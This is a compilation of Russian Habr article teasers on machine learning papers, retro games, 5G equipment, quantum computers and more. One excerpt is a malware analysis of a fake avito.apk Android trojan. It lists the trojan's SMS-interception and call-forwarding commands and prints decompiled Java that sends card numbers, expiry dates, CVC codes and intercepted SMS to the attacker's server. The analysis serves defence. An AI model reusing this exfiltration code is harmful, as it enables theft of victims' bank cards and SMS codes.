В конце 2018 года исследователи из FAIR опубликовали статью «Переосмысление предобучения в ImageNet», которая впоследствии была представлена на ICCV2019. В статье представлены некоторые очень интересные выводы относительно предобучения. Я тогда не стал посвящать этому событию отдельный пост, но мы долго обсуждали его в нашем слаке (KaggleNoobs). Исследователи из Google Research and Brain team предложили расширенную версию той же концепции. Их новая публикация затрагивает не только тему предобучения (pre-training), она также исследует самообучение (self-training), сравнивая его с предобучением и обучением без учителя (self-supervised learning) на тех же наборах задач.
Dagaz: Пинки здравому смыслу (часть 8)
— Что главное?
— Нет никакой ложки!
"Матрица"
Как я уже неоднократно говорил ранее, некоторые вещи реализовать в Zillions of Games попросту невозможно. Впрочем, если нельзя, но очень хочется, то иногда бывает всё таки можно. Как далеко можно зайти по этому пути?
Извлекаем уровни из Super Mario Bros с помощью Python
Введение
Для нового проекта мне понадобилось извлечь данные уровней из классической видеоигры 1985 года Super Mario Bros (SMB). Если конкретнее, то я хотел извлечь фоновую графику каждого уровня игры без интерфейса, подвижных спрайтов и т.п.
Разумеется, я просто мог склеить изображения из игры и, возможно, автоматизировать процесс с помощью техник машинного зрения. Но мне показался более интересным описанный ниже метод, позволяющий исследовать те элементы уровней, которые нельзя получить с помощью скриншотов.
На первом этапе проекта мы изучим язык ассемблера 6502 и написанный на Python эмулятор. Полный исходный код выложен здесь.
Кто потерял ключи: по следам SSH
В 2015 году поднялась большая шумиха, когда по всему миру на различных узлах были обнаружены одинаковые SSH-отпечатки. Далее шума дело не пошло, но осадок остался. Попробуем разобраться, в чем основная опасность таких «дублей». Большая часть собранных данных актуальна для 2015 года.
О судьбе отечественного оборудования для сетей 5G. Часть V Точка бифуркации
И снова здравствуйте!
Первая часть. Обзор Рынка
Вторая часть. Внешние и внутренние противоречия
Третья часть. Основные действующие лица
Четвертая часть. Что есть базовая станция 4G/5G
Не думал я, что, когда начну свой скромный анализ ситуации с импортозамещением оборудования для сетей 5G, события будут развиваться так быстро: начало «специальной военной операции», введение «адских» санкций, звучащие предсказания еще более тектонических мировых изменений. Кроме того, вскрылись во всей красе фундаментальные риски российской экономической политики в области микроэлектроники (и не только), обозначенные нами в прошлом материале.
После первого шока от происходящего сейчас давайте взглянем на то, что было сделано со стороны государства и участников рынка на ниве создания отечественных базовых станций 4G/5G и каковы дальнейшие (если они есть) перспективы, учитывая новые ограничения.
Как обычно - буду рад конструктивной критике, обратной связи и дискуссии. Особенно интересно мнение людей, которые возможно заняты в компаниях, обозначенных в статье, без вас будет сложно дать всесторонний анализ ситуации. На базе Ваших предложений – сможем «углУбить и расшИрить» материал по мере поступшения предложений и комментариев!
Рубрика «Читаем статьи за вас». Июль — Сентябрь 2019
Привет, Хабр! Продолжаем публиковать рецензии на научные статьи от членов сообщества Open Data Science из канала #article_essense. Хотите получать их раньше всех — вступайте в сообщество!
Статьи на сегодня:
- Layer rotation: a surprisingly powerful indicator of generalization in deep networks? (Université catholique de Louvain, Belgium, 2018)
- Parameter-Efficient Transfer Learning for NLP (Google Research, Jagiellonian University, 2019)
- RoBERTa: A Robustly Optimized BERT Pretraining Approach (University of Washington, Facebook AI, 2019)
- EfficientNet: Rethinking Model Scaling for Convolutional Neural Networks (Google Research, 2019)
- How the Brain Transitions from Conscious to Subliminal Perception (USA, Argentina, Spain, 2019)
- Large Memory Layers with Product Keys (Facebook AI Research, 2019)
- Are We Really Making Much Progress? A Worrying Analysis of Recent Neural Recommendation Approaches (Politecnico di Milano, University of Klagenfurt, 2019)
- Omni-Scale Feature Learning for Person Re-Identification (University of Surrey, Queen Mary University, Samsung AI, 2019)
- Neural reparameterization improves structural optimization (Google Research, 2019)
Роботрон. Как восстановить клавиатуру из 1987г. для чайников
Очень давно на Хабре мною была прочитана статья о механических клавиатурах, свичах их разновидностях и всём таком. Естественно мне захотелось причаститься к секте кнопкопоклонников и сделать свою также для себя же. Но вместе с тем я не хотел кидаться с места в карьер неизведанных знаний (да и куча других незавершённых проектов давила на совесть) и решил потренироваться сначала «на кошечках». Желание засело в мозгу, запрос был сформирован, отослан в ноосферу и осталось только ждать.
И вот однажды «кошечки» ко мне постучались сами…
Реверс-инжиниринг визуальных новелл (часть 2)
Продолжаем нашу серию статей про то, как влезть во внутренности игровых движков и вытаскивать из них всевозможное содержимое. Для тех, кто к нам только что присоединился, коротко напомню, что мы изучали такой забавный жанр, как визуальные новеллы.
Прошло уже много времени с момента того, как мы научились разбирать архивы движка визуальных новелл Yuka, настало время взяться за самое интересное из того, что мы там нашли — собственно, скрипт. Забегая чуть-чуть вперед, сразу предупрежу, что скрипт, конечно, куда более сложная материя, чем просто архив с файлами, поэтому за одну статью нам с ним не разобраться, но сегодня мы попытаемся понять, из каких частей он состоит и получим доступ к текстовым ресурсам.
Перед тем, как погружаться в пучины бинарных дампов, давайте прикинем, как работают большинство движков визуальных новелл. Визуальная новелла сама по себе состоит из текста (реплик героев, диалогов, промежуточного повествования), графики и звуков. Для того, чтобы ее воспроизвести пользователю, явно нужно свести все это воедино с помощью какого-то управляющего воздействия. В теории можно было бы зашить это все прямо в exe-файл, но в 99% случаев (ладно, вру, в 100% виденных лично мной) так все-таки не делают, а хранят такие инструкции отдельно в виде отдельной программы-скрипта. Как правило, скрипт пишется на особенном языке программирования (специфичном для движка), который выглядит как-то так:
О судьбе отечественного оборудования для сетей 5G. Часть III Основные действующие лица
И снова здравствуйте!
Первая часть. Обзор Рынка
Вторая часть. Внешние и внутренние противоречия
Третья часть. Основные действующие лица
Четвертая часть. Что есть базовая станция 4G/5G?
В прошлый раз мы рассмотрели внешние и внутренние противоречия, которые, как мне кажется, и породили саму тематику создания отечественного оборудования для сетей 5G.
На этот раз предлагаю присмотреться к тому какие основные экономические субъекты в нашей отрасли связи имеют прямое или косвенное отношение к теме и постараемся выявить характерные сущностные черты и интересы, способные повлиять на дальнейшее развитие событий.
Как обычно - буду рад конструктивной критике, обратной связи и дискуссии для дальнейшего углубления и улучшения материала.
О судьбе отечественного оборудования для сетей 5G. Часть IV Что есть базовая станция 4G/5G
И снова здравствуйте!
Первая часть. Обзор Рынка
Вторая часть. Внешние и внутренние противоречия
Третья часть. Основные действующие лица
Итак, на данный момент мы рассмотрели телеком рынок России, выявили основные тенденции его развития, а также обозначили главных действующих субъектов. Теперь пришло время чуть пристальнее посмотреть на предмет локализации – сам конечный продукт с технической точки зрения.
Что из себя представляют базовые станции 5G, какова их роль в сетях связи, каковы основные компоненты и кто их производит, какие технологические вызовы будут стоять перед новым производителем, который решит войти на этот рынок? Давайте попробуем разобраться!
Как обычно - буду рад конструктивной критике, обратной связи и дискуссии. На базе Ваших предложений – сможем «углУбить и расшИрить» материал!
Node.js на службе разработчика электроники: создаём библиотеки микросхем
Если стало интересно, то добро пожаловать под кат.
Как работают квантовые компьютеры. Собираем паззл
Квантовые компьютеры и квантовые вычисления — новый баззворд, который добавился в наше информационное пространство наряду с искусственным интеллектом, машинным обучением и прочими высокотехнологическими терминами. При этом мне так и не удалось найти в интернете материал, который бы сложил у меня в голове пазл под названием “как работают квантовые компьютеры”. Да, есть много прекрасных работ, в том числе и на хабре (см. Список ресурсов), комментарии к которым, как это обычно и бывает, еще более информативны и полезны, но картинка в голове, что называется, не складывалась.
А недавно ко мне подошли коллеги и спросили “Ты понимаешь как работает квантовый компьютер? Можешь нам рассказать?” И тут я понял, что проблема со складыванием в голове целостной картинки есть не только у меня.
В результате была сделана попытка скомпилировать информацию о квантовых компьютерах в непротиворечивую логическую схему, в которой бы на базовом уровне, без глубокого погружения в математику и структуру квантового мира, объяснялось что такое квантовый компьютер, на каких принципах он работает, а также какие проблемы стоят перед учеными при его создании и эксплуатации.
Как я позорно деактивировал ботнет
Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.
Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.
Исследование APK
Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.
Итак, что умеет этот троян:
- delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
- sent&&& — отправка заданных СМС-сообщений с сервера
- rent&&& — перехват всех СМС-сообщений и отправка их на сервер
- sms_stop&&& — отмена перехвата СМС-сообщений
- ussd&&& — USSD-запрос
- call_1&&& — установка и отмена безусловной переадресации
protected HttpRequestBase a()
{
try
{
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
arraylist.add(new BasicNameValuePair("number", b));
arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
}
catch(UnsupportedEncodingException unsupportedencodingexception)
{
unsupportedencodingexception.printStackTrace();
}
return null;
}
protected String d()
{
return new String((new StringBuilder()).append(a).append("set_card.php").toString());
}
protected HttpRequestBase a()
{
try
{
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
}
catch(UnsupportedEncodingException unsupportedencodingexception)
{
unsupportedencodingexception.printStackTrace();
}
return null;
}
protected String d()
{
return new String((new StringBuilder()).append(a).append("get.php").toString());
}
protected HttpRequestBase a()
{
try
{
JSONObject jsonobject = new JSONObject();
jsonobject.put("text", c);
jsonobject.put("number", d);
jsonobject.put("date", e);
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
}
catch(UnsupportedEncodingException unsupportedencodingexception)
{
unsupportedencodingexception.printStackTrace();
}
catch(JSONException jsonexception)
{
jsonexception.printStackTrace();
}
return null;
}
protected String d()
{
return new String((new StringBuilder()).append(a).append("load_sms.php").toString());
Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Управляем освещением в квартире (NooLite, Raspberry Pi и WebIOPi)
О системе NooLite неоднократно писали на хабре:
- NooLite — система радиоуправления освещением, или первый шаг к умному дому
- NooLite-2, или умный дом для чайников
- поискать на Хабре по тегу «noolite» или набрать в поисковой строке гугла «site:habrahabr.ru noolite»
В данной статье я расскажу:
- об установке и настройке WebIOPi на предустановленную Raspbian в контексте использования UART для передачи команд на модуль MT1132 NooLite
- о макросах в фреймворке WebIOPi для связывания запросов в стиле HTTP REST с GPIO UART
- о написании простого клиента на платформе Android для управления светом через REST дырки
ZeroNights Hackquest 2019. Results & Writeups
Совсем недавно завершился ежегодный HackQuest, приуроченный к конференции ZeroNights. Как и в прошлые годы, участникам предстояло решить 7 различных заданий — по одному на сутки квеста. Задания, как всегда, помогли подготовить наши коммьюнити партнеры. Узнать, как же решались задания, и кто стал победителями хакквеста в этот раз, можно под катом.
Рубрика «Читаем статьи за вас». Апрель 2020. Часть 2
Привет, Хабр! Продолжаем публиковать рецензии на научные статьи от членов сообщества Open Data Science из канала #article_essense. Хотите получать их раньше всех — вступайте в сообщество!
Статьи на сегодня:
- Grad-CAM: Visual Explanations from Deep Networks via Gradient-based Localization (Georgia Institute of Technology, Atlanta, USA, 2016)
- X3D: Expanding Architectures for Efficient Video Recognition (Facebook AI Research, 2020)
- Adaptive Attention Span in Transformers (Facebook AI Research, 2019)
- ResNeSt: Split-Attention Networks (Amazon, 2020)
- Weight Standardization (Johns Hopkins University, 2019)
- Supervised Contrastive Learning (Google Research, MIT, 2020)
- Improved Training Speed, Accuracy, and Data Utilization Through Loss Function Optimization (USA, 2019)
- TTNet: Real-time temporal and spatial video analysis of table tennis (OSAI, 2020)
- Learning in the Frequency Domain (Alibaba, Arizona, 2020)
Производительность: нюансы против очевидностей
Приветствую, это текстовая версия моего доклада на JPoint-2021. Как обычно я сделал упор на случаи из жизни и на повседневные вещи, используемые каждым разработчиком. Под кат приглашаются интересующиеся производительностью и им сочувствующие.